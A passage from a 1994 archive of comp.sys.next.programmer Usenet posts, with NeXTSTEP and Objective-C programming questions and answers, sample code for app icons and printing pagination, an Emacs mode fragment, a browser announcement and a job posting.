indentation amount for line, assuming that the current line is to be regarded as part of a block comment." (let (end star-start) (save-excursion (beginning-of-line) (skip-chars-forward " \t") (setq star-start (= (following-char) ?\*)) (skip-chars-backward " \t\n") (setq end (point)) (beginning-of-line) (skip-chars-forward " \t") (and (re-search-forward "/\\*[ \t]*" end t) star-start (goto-char (1+ (match-beginning 0)))) (current-column)))) ;; Hacked for // style comments ala c++ mode -- dstutz (defun objective-C-backward-to-noncomment (lim) (let (opoint stop) (while (not stop) (skip-chars-backward " \t\n\f" lim) (setq opoint (point)) (cond ((and (>= (point) (+ 2 lim)) (save-excursion (forward-char -2) (looking-at "\\*/"))) (search-backward "/*" lim 'move)) ((and (search-backward "//" (max (point-bol) lim) 'move) (not (within-string-p (point) opoint)))) (t (beginning-of-line) (skip-chars-forward " \t") (if (looking-at "#") (setq stop (<= (point) lim)) (setq stop t) (goto-char opoint))))))) (defun objective-C-backward-to-start-of-continued-exp (lim) (if (= (preceding-char) ?\)) (forward-sexp -1)) (beginning-of-line) (if (<= (point) lim) (goto-char (1+ lim))) (skip-chars-forward " \t")) (defun objective-C-backward-to-start-of-if (&optional limit) "Move to the start of the last ``unbalanced'' if." (or limit (setq limit (save-excursion (beginning-of-defun) (point)))) (let ((if-level 1) (case-fold-search nil)) (while (not (zerop if-level)) (backward-sexp 1) (cond ((looking-at "else\\b") (setq if-level (1+ if-level))) ((looking-at "if\\b") (setq if-level (1- if-level))) ((< (point) limit) (setq if-level 0) (goto-char limit)))))) (defun mark-objective-C-function () "Put mark at end of C function, point at beginning." (interactive) (push-mark (point)) (end-of-defun) (push-mark (point)) (beginning-of-defun) (backward-paragraph)) -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: end Message-ID: <CLwv92.9M@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <2knk86$d9b@brachio.zrz.TU-Berlin.DE> Date: Mon, 28 Feb 1994 01:39:01 GMT GET_END(3) UNIX Programmer's Manual GET_END(3) NAME get_end, get_etext, get_edata - get values of UNIX link edi- tor defined symbols SYNOPSIS void * get_end(); void * get_etext(); void * get_edata(); DESCRIPTION These routines provide a stopgap measure to programs that use the UNIX link-editor defined symbols. Use of these rou- tines is very strongly discouraged. The problem is that any program that is using UNIX link editor defined symbols (_end, _etext or _edata) is making assumptions that the pro- gram has the memory layout of a UNIX program. This is an incorrect assumption for a program built by the NeXT Mach-O link editor running under the Mach operating system on a NeXT computer. The reason that these routines are provided is that if very minimal assumptions about the layout are used and the default format and memory layout of the NeXT Mach-O link editor is used to build the program, some things may work by using the values returned by these routines in place of the addresses of their UNIX link-editor defined symbols. So use at your own risk, and only if you know what your doing. Or better yet, convert the UNIX program to a Mach program. The values of the UNIX link-editor defined symbols _etext, _edata and _end are returned by the routines get_etext, get_edata, and get_end respectively. In a Mach-O file they have the following values: get_etext returns the first address after the (__TEXT,__text) section. get_edata returns the first address after the (__DATA,__data) section. get_end returns the first address after the last segment. SEE ALSO ld(1) Carsten Schultz writes > > Hi, > > while porting a program from a SUN, I stumbled upon the following piece of > code. Any ideas what I should make of this? There seems to be no 'end' in > the library. > > Thanxinadvance, > > Carsten > > > #if 0 > ------------------------------------------------------------------------ > DISTINGUISHING HEAP POINTERS > > The following stuff is used to distinguish heap, root and stack > locations from info pointers -- i.e. Dynamic stuff from static stuff. > > This is done using &end which is the address of the first word > above the data region. > > Dynamically allocated memory (heap, stack, roots) will be above this > while static memory (info tables) will be below this > > > ToDo: I do not know how unix dependent this is, Patrick. > > Strictly, end is a Unix library variable. C compilers > often provide this: some might allocate static definitions > above the top of dynamic memory, though. I would keep it as is, > but note that it needs to be checked for non-Unix systems. > > KH > ------------------------------------------------------------------------ > #endif /* 0 */ > > extern end; > > #define DYNAMIC_POINTER(ptr) ((ptr) >= (StgPtr)(&end)) > > > > -- > Carsten Schultz (carsten@pizza.fb10.tu-berlin.de) > "One day I may find it quite amusing > How touch and tongues make life so confusing" Anne Clark -- b.bum <bbum@friday.com> | "blah blah blah" WhiteLight Systems, INC. | - someone somewhere
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Re: Pure virtual methods in Objective-C? Date: 27 Feb 1994 21:21:10 -0000 Organization: me organized? That's a joke! Message-ID: <2kr2s6$266@steffi.demon.co.uk> References: <2kq6ll$1ii@steffi.demon.co.uk> <1994Feb27.175517.487@corona.com> pkron@corona.com wrote in comp.lang.objective-c,comp.sys.next.programmer >From: robert@steffi.demon.co.uk (Robert Nicholson)>> Languages like C++ and Eiffel allow the programmer to >> statically enforce instantiation control of abstract >> classes. ie. In Eiffel deferred and in C++ pure virtual >> methods. >> >> I was wondering how people go about dealing with clients >> instantiating objects they shouldn't be. > >In the gnu compiler, one approach is to define protocols rather than >abstract objects. Since abstract objects are defining only a >collection of signatures, protocols seem pretty much equivalent. A >real class that has only some methods defined and not others would >not be possible, but such a class seems less useful. Assuming no code reuse is desired. ie. you could still reuse code from an abstract class rather than just the interface. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Re: A way to draw in the AppIcon Message-ID: <1994Feb28.085103.25382@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus References: <1994Feb25.105034.1412@ares.fdn.org> Date: Mon, 28 Feb 1994 08:51:03 GMT In article <1994Feb25.105034.1412@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: > Hello > > I am looking for an example showing how to draw in the AppIcon. (I ve seen > that somewhere but I can t put my hand on it (ackward translation of > french expression).. Hi, I think, the example by Jayson Adams is short enough, to be distributed. I have modified it a little to show a spinning icon but it should help you. Bye. Robert. ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------
// AppIconView.h // By Jayson Adams, NeXT Developer Support Team // You may freely copy, distribute and reuse the code in this example. // NeXT disclaims any warranty of any kind, expressed or implied, as to its // fitness for any particular use. #import <appkit/View.h> #define FIRST_IMAGE 0 @interface AppIconView:View { id imageList; int currentImage; } /* instance methods */ - drawImage:(int)imageNumber; @end
#import <appkit/appkit.h> #import "AppIconView.h" @implementation AppIconView /* instance methods */ - initFrame:(const NXRect *)frameRect { [super initFrame:frameRect]; /* construct the image list */ imageList = [[List alloc] init]; [imageList addObject:[NXImage findImageNamed:"app"]]; [imageList addObject:[NXImage findImageNamed:"IconT90.tiff"]]; [imageList addObject:[NXImage findImageNamed:"IconT180.tiff"]]; [imageList addObject:[NXImage findImageNamed:"IconT270.tiff"]]; return self; } - drawImage:(int)imageNumber { currentImage = imageNumber; [self display]; /* we do want to wait for our drawing to get flushed to the window server */ NXPing(); return self; } - drawSelf:(const NXRect *)rects :(int)count { NXPoint point = {0.0, 0.0}; /* erase */ [[NXImage findImageNamed:"tile"] composite:NX_COPY toPoint:&point]; /* image the right image */ point.x=8.0; point.y=8.0; [[imageList objectAt:currentImage] composite:NX_SOVER toPoint:&point]; return self; } @end
Newsgroups: comp.sys.next.programmer From: rfi@jeans.fokus.gmd.de (Robert Fischer) Subject: Re: A way to draw in the AppIcon Message-ID: <1994Feb28.085354.25553@fokus.gmd.de> Sender: news@fokus.gmd.de (News system) Organization: GMD-Fokus References: <1994Feb25.105034.1412@ares.fdn.org> Date: Mon, 28 Feb 1994 08:53:54 GMT In article <1994Feb25.105034.1412@ares.fdn.org> gery@ares.fdn.org (Gery Divry) writes: > Hello > > I am looking for an example showing how to draw in the AppIcon. (I ve seen > that somewhere but I can t put my hand on it (ackward translation of > french expression).. Sorry. I forgot the code to bound the icon to the application icon. Robert. -- ------------------------------------------------------------------------ Robert Fischer @ GMD-Fokus -------- __o ------- _`\<,_ fischer@fokus.gmd.de ------- (*)/ (*) ## NeXT-Mail welcome ## ------------------------------------------------------------------------ //######################################################################## #### - prepareAnimatedIcon { NXRect rect = {{0.0, 0.0}, {64.0, 64.0}}; /* make our special animating view be the appIcon window's contentView */ appIconView = [(AppIconView*)[AppIconView alloc] initFrame:&rect]; [[[NXApp appIcon] setContentView:appIconView] free]; return self; } //######################################################################## ####
From: giuliett@inf.ethz.ch (Raffaello Giulietti) Newsgroups: comp.sys.next.programmer Subject: forwarding returning doubles & structs Date: 28 Feb 1994 08:39:22 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2ksajq$90g@neptune.inf.ethz.ch> I need to implement a class similar to NXProxy which simply forwards messages to other full-fledged objects. The major difficulty comes from the return type of the forward:: message which is limited to ids or compatible types. Since the forward:: message is sent by the tun-time system, I see no chances to fake the call of objc_msgSend() in order to make the compiler think it is a function returning another type as for example: double d = ((double (*)(id, SEL)objc_msgSend)(anObject, @selector(doubleValue)); Since the release 3.1, however, NXProxies are able to forward messages that return doubles or even structs. How can I manage that? Thanks Raffaello Giulietti
Newsgroups: comp.sys.next.programmer From: juan@ logician.com (Juan Pineda) Subject: Motif for NeXT? Message-ID: <CLxF6L.843@logician.com> Sender: juan@logician.com (Juan Pineda) Organization: logician.com Date: Mon, 28 Feb 1994 08:49:31 GMT Question: is Motif available for NeXT, and if so where can I get it? Is any of it available in source form? Please reply by Email. Juan
From: wjs@omnigroup.com (William Shipley) Newsgroups: comp.sys.next.programmer Subject: Re: Mosaic fo NeXT? (Yup.) Date: 28 Feb 1994 06:00:55 -0800 Organization: The Omni Group Message-ID: <2ksten$8s7@yucca.omnigroup.com> References: <1994Feb28.034331.16194@ncsu.edu> eagle@nest.catt.ncsu.edu (Daniel C. L'Hommedieu) writes: >I was wondering if anyone is working on Mosaic for the NeXT. I got to >play with Mosaic today for the first time; let me tell you this: Mosaic >is a powerful tool, and if the NeXT can take advantage of it, I believe >it would truly help the NeXT out. We are working on a WWW browser called "OmniWeb" for the NeXT that will have most of Mosaic's features. It is in early alpha now: it looks great, but crashes occasionally and is still flakey with some types of downloads. Also, it doesn't support forms or queries yet, which we consider essential. We have some cool features found on more advanced browsers, including in-line viewing of images. (You need image filtering for this to work, you can use ImageViewer or our own OmniImage, except we're waiting for source to one of the libraries we use before we officially release OmniImage, as right now it only runs on black hardware.) OmniWeb also features a unique history mechanism that we invented here; once you understand it you'll agree it's pretty darn cool. I really can't describe it, though. We probably won't add the features of Mosaic we don't use, like annotations. Truth be known, I just don't get that excited about 'em. Someone else can add them, or maybe we'll add them if someone could show us what they're good for. When we are done, OmniWeb will be a free product. If anyone is interested in contributing to it (and playing around with an advance copy), you can subscribe yourself to our robotic list by sending a message to <listserv@omnigroup.com> with the contents (not subject line) "subscribe omniweb-l <your name>". We'll talk more about an alpha program on that list. If you just want a usable browser, you should wait until our official release; it's really pretty maddening using it now. If you want to sneak a peek, wait until our alpha release. We know a lot of people are interested in this, and we'll put a copy on the archive servers as soon as we consider it usable. (That is, when we feel like people will use it and praise our names, instead of cursing us.) -William Shipley Omni Development, Inc.
Newsgroups: comp.sys.next.programmer From: gah@zoo.bt.co.uk (Geoff Hopson) Subject: Any more tutorials available? Message-ID: <1994Feb28.150446.578@zoo.bt.co.uk> Sender: news@zoo.bt.co.uk Organization: BT Laboratories, Ipswich, UK. Date: Mon, 28 Feb 94 15:04:46 GMT Here's hoping the net can help again! I am a recent NeXTStepper, having purchased 3.2 and running it on an Intel box. I have completed the three main examples in the "Development Tools and Techniques" manual, and was wondering if there are any more examples I can work through, particularly examples regarding DBKit, IXKit and PDOs. I have had a brief look at the example software that comes with NeXT Developer, but was hoping for something that I could develop from scratch, as per the examples in the manual. An on-line "classroom" training course type thing would be great. Any pointers? Thanks in advance, Geoff ----------------------------------------------------------------- Geoff Hopson Access & Configuration Management Senior Professional Engineer B67 / Room G11 Telephone (0473) 644380 BT Labs Fax (0473) 640468 Martlesham Heath e-mail: gah@zoo.bt.co.uk Ipswich IP5 7RE >>>>>>>>>>>>>>>>>>>> NeXTMail accepted <<<<<<<<<<<<<<<<<<<<<<<<<< ^^^^^^^^^^^^^^^^^
From: Ali_Ozer@NeXT.com (Ali Ozer) Newsgroups: comp.sys.next.programmer Subject: Re: A way to draw in the AppIcon Date: 28 Feb 1994 15:03:34 GMT Organization: NeXT, Inc. Distribution: world Message-ID: <2kt146$f6c@rosie.next.com> References: <1994Feb28.085103.25382@fokus.gmd.de> In article <1994Feb28.085103.25382@fokus.gmd.de> Robert Fischer writes: > In article <1994Feb25.105034.1412@ares.fdn.org> Gery Divry writes: > > I am looking for an example showing how to draw in the AppIcon. > I think, the example by Jayson Adams is short enough, to be distributed. > ... > - drawSelf:(const NXRect *)rects :(int)count { > NXPoint point = {0.0, 0.0}; > /* erase */ > [[NXImage findImageNamed:"tile"] composite:NX_COPY toPoint:&point]; > /* image the right image */ > point.x=8.0; point.y=8.0; > [[imageList objectAt:currentImage] composite:NX_SOVER toPoint:&point]; > return self; > } > @end This example is a bit old. This section from the Application Kit release notes should help: A new named image, NXAppTile, has been added to allow apps to draw in their application icon without destroying the standard look. Developers who want to draw in their application icons should find this image with findImageNamed: and composite it at the lower left corner of the content view of the window. Then any custom drawing should be done above, centered on this image. So where Jayson looks for the image named "tile" above, you should look for "NXAppTile." The code might look like: NXImage *tile = [NXImage findImageNamed:"NXAppTile"]; NXPoint point = {0.0, 0.0}; NXSize tileSize, myImageSize; [tile composite:NX_COPY toPoint:&point]; [tile getSize:&tileSize]; [myImage getSize:&myImageSize]; point.x = (tileSize.width - myImageSize.width) / 2.0; point.y = (tileSize.height - myImageSize.height) / 2.0; [myImage composite:NX_SOVER toPoint:&point]; Ali, Ali_Ozer@NeXT.com
From: fxg@wolf.informatik.rwth-aachen.de (Felix Gatzemeier) Newsgroups: comp.sys.next.programmer Subject: Re: Subclass conforming to protocol // IB question Date: 28 Feb 1994 16:43:34 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Germany Message-ID: <FXG.94Feb28174336@wolf.informatik.rwth-aachen.de> References: <1994Feb18.224847.1127@afs.com> <CLHK6F.HA@belly.in-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In-reply-to: kiwi@belly.in-berlin.de's message of Sat, 19 Feb 1994 19:15:51 GMT In article <CLHK6F.HA@belly.in-berlin.de> kiwi@belly.in-berlin.de (Axel Habermann) asks: Newsgroups: comp.sys.next.programmer From: kiwi@belly.in-berlin.de (Axel Habermann) Organization: - none - Date: Sat, 19 Feb 1994 19:15:51 GMT [munch] Btw: If I declare an instance variable to conform to a protocol, the InterfaceBuilder no longer recognizes this as an outlet. This is NOT what I was expecting. Is this a bug? Is there a workaround available? A while ago, someone posted a solution involving predefinded macros. It looks like IB knows about #if...#endif, but has no predefined macros. (Does anyone *know* something about this?) So, if you write interfaces like #if __STDC__ /* what I use --- suggestions? */ Window *mainWindow; /* .... other intelligent declarations .... */ #else id mainWindow; /* .... other braindead void *'s .... */ #endif IB will skip the #if part, not knowing about __STDC__, but NeXT's preprocessor will expand __STDC__ to 1, so your code will see the useful parts. -- Axel Habermann \\|// "Wenn Du nicht kiwi@belly.in-berlin.de (NeXT-Mail) )o o( weisst was Du kiwi@cs.tu-berlin.de (NO NeXT-Mail) \ | / tust, mach's FaxFon: +49 30 4543046 \~/ mit Eleganz!" -- Felix (fxg@(([Pool|I3].Informatik)|(Tolkien.ImIB)).RWTH-Aachen.de NeXT-Mail ok, but slow)
From: alec@carie.dental.mu.edu (Alec Ellsworth) Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer Subject: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Date: 28 Feb 1994 17:06:19 GMT Organization: Marquette University - Dept. Math, Statistics, & Comp. Sci. Distribution: world Message-ID: <2kt8ab$51g@spool.mu.edu> Marquette University SCHOOL OF DENTISTRY in Milwaukee, Wisconsin has the following position available: SYSTEMS PROGRAMMER. Our goal is to be a leader in dental information technologies. The successful candidate will be responsible for the design, implementation and maintenance of software for the School of Dentistry in a client/server environment utilizing a SUN, Macintosh and a distributed database. Other responsibilities may include the administration of a SUN SPARC 10 (with 100 Macintosh clients) including DNS, IPT UShare and Synoptics Optivity. Qualifications include: Bachelor's Degree in Computer Science or equivalent required. Experience with a UNIX based distributed client/server database with Macintosh clients, familiarity with 4th Dimension for Macintosh, experience in the administration of an ethernet LAN with a UNIX host running DNS, Synoptics Optivity and IPT UShare with Macintosh clients, ability to demonstrate a working knowledge of C/C++ for Macintosh and SUN and excellent verbal and written communication skills. Experience in dental information systems and familiarity with dental terminology preferred. We are looking for a person who can effectively communicate with non-technical dental professionals, as well as with the systems development leadership. Requires at least 2 years post degree work experience. Position available immediately. Starting date negotiable. APPLICATION DEADLINE: March 25, 1994 INTERESTED INDIVIDUALS SHOULD SEND A RESUME TO: Ms. Susan Dalsasso Assistant to the Dean Administrative Services MARQUETTE UNIVERSITY School of Dentistry 604 N. 16th Street Milwaukee, WI 53233 -- Alec Ellsworth alec@carie.dental.mu.edu Marquette University ellswort@studsys.mscs.mu.edu School of Dentistry 414-288-6500 (page) 604 N. 16th St. 414-288-3680 (voice,fax,or data) Milwaukee, WI 53233
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: QueryFieldEditor queries Date: 28 Feb 1994 01:28:14 -0500 Organization: Digital Fix Development Distribution: world Message-ID: <2ks2tu$6vh@digifix.digifix.com> I've been trying to use the QueryFieldEditor that is the in IndexingKit examples to generate completions for some index kit keys.... not all the values are being cycled through though though for example if I have the completion set to set and I have entries setCC: setReply: I'll never see the second item. Is their code hosed, or is it possible that mine is (well thats always possible:-) ).. -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.programmer From: bakerb@il.us.swissbank.com (Brian Baker) Subject: Problems with NXBrowser Message-ID: <1994Feb28.172225.5308@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 28 Feb 1994 17:22:25 GMT Greetings, NXBrowser is causing me stress. I'm trying to select all of the cells in the last loaded column, but when I send selectAll: to the browser, it selects only the leaf nodes, leaving the branch nodes unselected. Both isMultipleSelectionEnabled and isBranchSelectionEnabled are set to YES. I've tried to select the cells myself (I need to be able to do this anyway, to allow selection of cells according to a pattern) by getting the matrix for the column and selecting the cells in it. This works, but the browser has no idea I've done it. The result is that when I ask the browser to getSelectedCells:, it returns the one cell selected in the previous column, not the bunch I just selected. So, I have two questions: 1) How do I get selectAll: to select both leaf and branch nodes? 2) How do I tell the browser that I've altered the selection behind its back? Any help rendered will be most appreciated. Brian Baker. bakerb@swissbank.com bbaker@its.com
From: Charlesa@learned.co.uk Newsgroups: comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc Subject: Getting .SND up to volume... Date: Mon, 28 Feb 94 19:07:23 BST Organization: EUnet GB Message-ID: <2ktfl7$m74@marble.Britain.EU.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi - I've got some ITR files which I've just renamed as .SND files. They play just fine, except that the volume is a little low, even when maxed out in preferences.app Does anybdy know of a way to run these files through sndconvert, to get Them to play any louder? Just wondering... C. charlesa@learned.co.uk
Newsgroups: comp.sys.next.programmer From: ludwig@well.sf.ca.us (Michael Rutchik) Subject: uudecode help needed! Message-ID: <CLy90M.JCM@well.sf.ca.us> Keywords: uudecode uuencode Sender: news@well.sf.ca.us Organization: The Whole Earth 'Lectronic Link, Sausalito, CA Date: Mon, 28 Feb 1994 19:33:58 GMT Due to the early lack of comm software for NSFIP I've managed to learn quite a bit about tip. Most recently I've figured out how to transfer files that I've ftp'd from my internet provider into my home. It almost works. Here's the procedure I'm using: 1. I ftp an app from a NeXT archive to my account (binary transfer) 2. I uuencode the transferred file. 3. Using the ~t[ake] command I transfer the file to my computer. 4. I uudecode the file. Everything works great until step 4. The uudecode command creates the properly named file in my current directory but then I get a message that says "No end line." I've encoded and decoded files that were on my system without any trouble. I also compared the trailer of the uuencoded files that worked with the one I downloaded and they are identical. Does anyone have any ideas about what I could try to get this to work? Thanks in advance, Michael Rutchik ludwig2@itsa.ucsf.edu
Newsgroups: comp.sys.next.programmer From: graham@mozart.Physics.McGill.CA (Graham Cross) Subject: binutils 2.3 Message-ID: <1994Feb28.201409.4208@sifon.cc.mcgill.ca> Keywords: gprof Sender: news@sifon.cc.mcgill.ca Organization: McGill University Date: Mon, 28 Feb 1994 20:14:09 GMT I'm seconding a request posted by David Bowser-Chao on Feb. 24 for any help on building GNU binutils 2.3 (specfically I need gprof) for black NS3.1. (Did you get any email David?) Thanks Graham Cross
Newsgroups: comp.sys.next.programmer From: Scott Byer <byer@mv.us.adobe.com> Subject: Re: Where are "__floatdisf" & "__fixunssfdi" defined Message-ID: <1994Feb28.201724.27991@adobe.com> Sender: usenet@adobe.com (USENET NEWS) Organization: Adobe Systems Incorporated References: <2kriqo$834@sol.ctr.columbia.edu> Date: Mon, 28 Feb 1994 20:17:24 GMT Glenn Brown writes Reply-To: gbrown@raven.ctr.columbia.edu (Glenn Brown) > A simulation I am writing uses "unsigned long long ints", but > when I try to link it, gcc says "__floatdisf" & "__fixunssfdi" > are undefined symbols. They aren't symbols from my code. > I did a "fgrep -l __floatdisf /usr/lib/lib*" and couldn't find > the symbols. > Anyone have any ideas how I can get around this problem? These are part of the gcc library, libgcc.a. You should be able to add -lgcc on your compile line to get them. -- Scott Byer NeXTMail: byer@mv.us.adobe.com Adobe Systems Incorporated These are *my* opinions, and 1585 Charleston Road, P.O. Box 7900 do not necessarily reflect Mountain View, CA 94039-7900 the opinions of my employer. ---------------------------------------------------------------------
From: michael@rs2.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Manual Pagination- Prohibit errors! Date: 28 Feb 1994 20:39:48 GMT Organization: Technical University of Vienna Sender: michael@rs2.iaee.tuwien.ac.at () Distribution: world Message-ID: <2ktkqk$2o2@email.tuwien.ac.at> Hi there! It took me almost a week to solve a problem, which should not be one. What I tried to do? I created a new subclass of view, which should be able to print itself appropriatly. I could not use automatic pagination to adjust my pages, so I decided to use manual pagination. NeXT keeps the description in the concept manual so short, that it seemed to be know problem at all. So let's do it. But strange things happened: 1. The bounds size of my view was 2000x1000 points, but only the first row of pages was acutally printed, although the drawself method was called for all the expected pages to be printed. 2. In another printing session the bound size of my view was 1000 pixels wide and 500 pixels high and the coordinate system was flipped. An A4 page has a size of 450x750 (estimated). Although the drawself method was called for each page corrctly, only parts of the page were drawn. I don't want that anyone else will get gray hairs. So here You find the solution for these problems: Solution 1: First by default, if You use automatic pagination the default pagination algorithm is vertical AUTOPAGINATION and horizontal CLIPPAGINATION. That's why You only see the first row of pages. Solution 2: You have to override the following methods; knowsPagesFirst: last: The user can set a scaling value in the page setup menu. So You have to take care of this factor, when You calculate the number of pages { id printInfo; NXCoord l,r,t,b; /* distances of the printable border to the margin */ const NXRect *paperRect; float scaleFactor; NXSize myPageSize; printInfo=[NXApp printInfo]; [printInfo getMarginLeft:&l right:&r top:&t bottom:&b]; scaleFactor=[printInfo scalingFactor]; paperRect = [printInfo paperRect]; myPageSize.width= (paperRect.width- (l+r))/scaleFactor; myPageSize.height=(paperRect.height-(t+b))/scaleFactor; /* myPageSize is the size of the rectangle, which will be sent to drawself method during printing */ *firstPageNum = 1; *lastPageNum = ceil(NX_WIDTH(&bounds)/myPageSize.width) * ceil(NX_HEIGHT(&bounds)/myPageSize.height); return YES; } This could be the default method for Your manual pagination. - getRect: forPage: { /* The tricky thing is, that the Rect, which You will return to the caller, must lie inside the bounds Rectangle. So its a good thing to do the following function before the method returns to the caller*/ NXIntersectionRect(&bounds,theRect); return YES; } If Your rectangle theRect doesn't lie completely inside the view's bounds, then the problems will occur, which I have described in 2. You don't know how often I read those lines of my getRect method. I think it was a pure chance, that I discovered it. You can easily proof it by creating a view, with a frameSize of 1000x400. Then use the following code in Your getRect method: { id printInfo; NXCoord l,r,t,b; /* distances of the printable border to the margin */ const NXRect *paperRect; float scaleFactor; NXSize myPageSize; printInfo=[NXApp printInfo]; [printInfo getMarginLeft:&l right:&r top:&t bottom:&b]; scaleFactor=[printInfo scalingFactor]; paperRect = [printInfo paperRect]; myPageSize.width= (paperRect.width- (l+r))/scaleFactor; myPageSize.height=(paperRect.height-(t+b))/scaleFactor; NXSetRect(theRect,0.0,0.0,myPageSize.width,myPageSize.height); return YES; } I had the troubles only with View's using flipped coordinates. You should also override the following methods: -placePrintRect:offset { /* calculate offset of the rectangle on the physical page */ } - addToPageSetup { float scaleFactor; id printInfo=[NXApp printInfo]; scaleFactor=[printInfo scalingFactor]; [super addToPageSetup]; PSscale(scaleFactor,scaleFactor); return self; } So that's it. Actually I cannot explain, why these things are happening. I hope that there are some guys out there, who can explain this to me and also to others. This is an interesting thing to discuss. I hope You enjoyed this mail (KEEEPPP IT, I am sure You will need it once). Currently You won't find it in FAQs or NeXTAnswers. Salute Suessner Michael Reply to:michael@rs2.iaee.tuwien.ac.at (no NeXTMAIL) michael@cogito.iaee.tuwien.ac.at (NeXTMail accpeted)
Newsgroups: comp.sys.next.programmer From: smith@nextone.niehs.nih.gov (Howard C. Smith) Subject: REVISIT: command line eps to tiff... Message-ID: <1994Feb28.210121.1214@alw.nih.gov> Sender: postman@alw.nih.gov (AMDS Postmaster) Organization: National Institutes of Health Date: Mon, 28 Feb 1994 21:01:21 GMT Anyone remember the thread about doing a command line eps to tiff converter? I have the following code which bombs out presumeably from lack of connection with the window server. Any one have a solution to this? #import <appkit/appkit.h> int main(int argc,char *argv[]) { NXImage *image; NXStream *stream; image = [NXImage alloc]; [image loadFromFile:argv[1]]; stream = NXMapFile("outfile.tiff",NX_READWRITE); NXSeek(stream,0L,NX_FROMSTART); [image writeTIFF:stream]; NXClose(stream); } -- Howard C. Smith National Institute of Environmental Health Sciences 111 T.W. Alexander Drive Research Triangle Park, NC 27709 smith@nextone.niehs.nih.gov
Newsgroups: comp.sys.mac.programmer,comp.sys.next.programmer,comp.sys.sun.misc,comp.databases,comp.databases.sybase,comp.databases.oracle,comp.databases.object,comp.sys.mac.databases,comp.unix.programmer From: gregor@nrlfs1.nrl.navy.mil (joe gregor) Subject: Re: ***POSITION AVAILABLE:SYSTEMS PROGRAMMER/DATABASE DESIGNER*** Message-ID: <gregor.1112859278I@ra.nrl.navy.mil> Sender: usenet@ra.nrl.navy.mil Organization: NRL References: <2kt8ab$51g@spool.mu.edu> Date: Mon, 28 Feb 1994 21:40:38 GMT In Article <2kt8ab$51g@spool.mu.edu>, alec@carie.dental.mu.edu (Alec Ellsworth) wrote: > >Qualifications include: Bachelor's Degree in Computer Science or >equivalent required. Experience with a UNIX based distributed >client/server database with Macintosh clients, familiarity with 4th >Dimension for Macintosh, experience in the administration of an >ethernet LAN with a UNIX host running DNS, Synoptics Optivity and IPT >UShare with Macintosh clients, ability to demonstrate a working >knowledge of C/C++ for Macintosh and SUN and excellent verbal and >written communication skills. Experience in dental information systems >and familiarity with dental terminology preferred. We are looking for >a person who can effectively communicate with non-technical dental >professionals, as well as with the systems development leadership. >Requires at least 2 years post degree work experience. > Not asking for much, are you? ;-)
From: sanguish@digifix.com Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace Subject: Quick Guide to NEXTSTEP information on the Internet Date: 28 Feb 1994 01:34:54 -0500 Organization: Next Announcements Message-ID: <2ks3ae$71j@digifix.digifix.com> This post is made weekly, to help 'point' users to more NEXTSTEP information Topics include: comp.sys.next newsgroups related newsgroups comp.sys.next newsgroups mailing list ftp sites NeXTanswers comp.sys.next.* newsgroups -------------------------- Comp.Sys.Next.Advocacy This is the "why NEXTSTEP is better (or worse) than anything else in the known universe" forum. It was created specifically to divert lengthy flame wars from .misc. Comp.Sys.Next.Announce Announcements of general interest to the NeXT community (new products, FTP submissions, user group meetings, commercial announcements etc.) The NEXTSTEP FAQs are posted here monthly as well. This is a moderated newsgroup, meaning that you can't post to it directly. Submissions should be e-mailed to next-announce@digifix.com where the moderator (Scott Anguish) will screen them for suitability. Comp.Sys.Next.Bugs A place to report verifiable bugs in NeXT-supplied software. Material e-mailed to Bug_NeXT@NeXT.COM is not published, so this is a place for the net community find out about problems when they're discovered. This newsgroup has a very poor signal/noise ratio--all too often bozos post stuff here that really belongs someplace else. It rarely makes sense to crosspost between this and other c.s.n.* newsgroups, but individual reports may be germane to certain non-NeXT- specific groups as well. Comp.Sys.Next.Hardware Discussions about NeXT-label hardware and compatible peripherals, and non-NeXT-produced hardware (e.g. Intel) that is compatible with NEXTSTEP. In most cases, questions about Intel hardware are better asked in comp.sys.ibm.pc.hardware. Questions about SCSI devices belong in comp.periphs.scsi. This isn't the place to buy or sell used NeXTs--that's what .marketplace is for. Comp.Sys.Next.Marketplace NeXT stuff for sale/wanted. Material posted here must not be crossposted to any other c.s.n.* newsgroup, but may be crossposted to misc.forsale.computers.workstation or appropriate regional newsgroups. Comp.Sys.Next.Misc For stuff that doesn't fit anywhere else. Anything you post here by definition doesn't belong anywhere else in c.s.n.*--i.e. no crossposting!!! Comp.Sys.Next.Programmer Questions and discussions of interest to NEXTSTEP programmers. This is primarily a 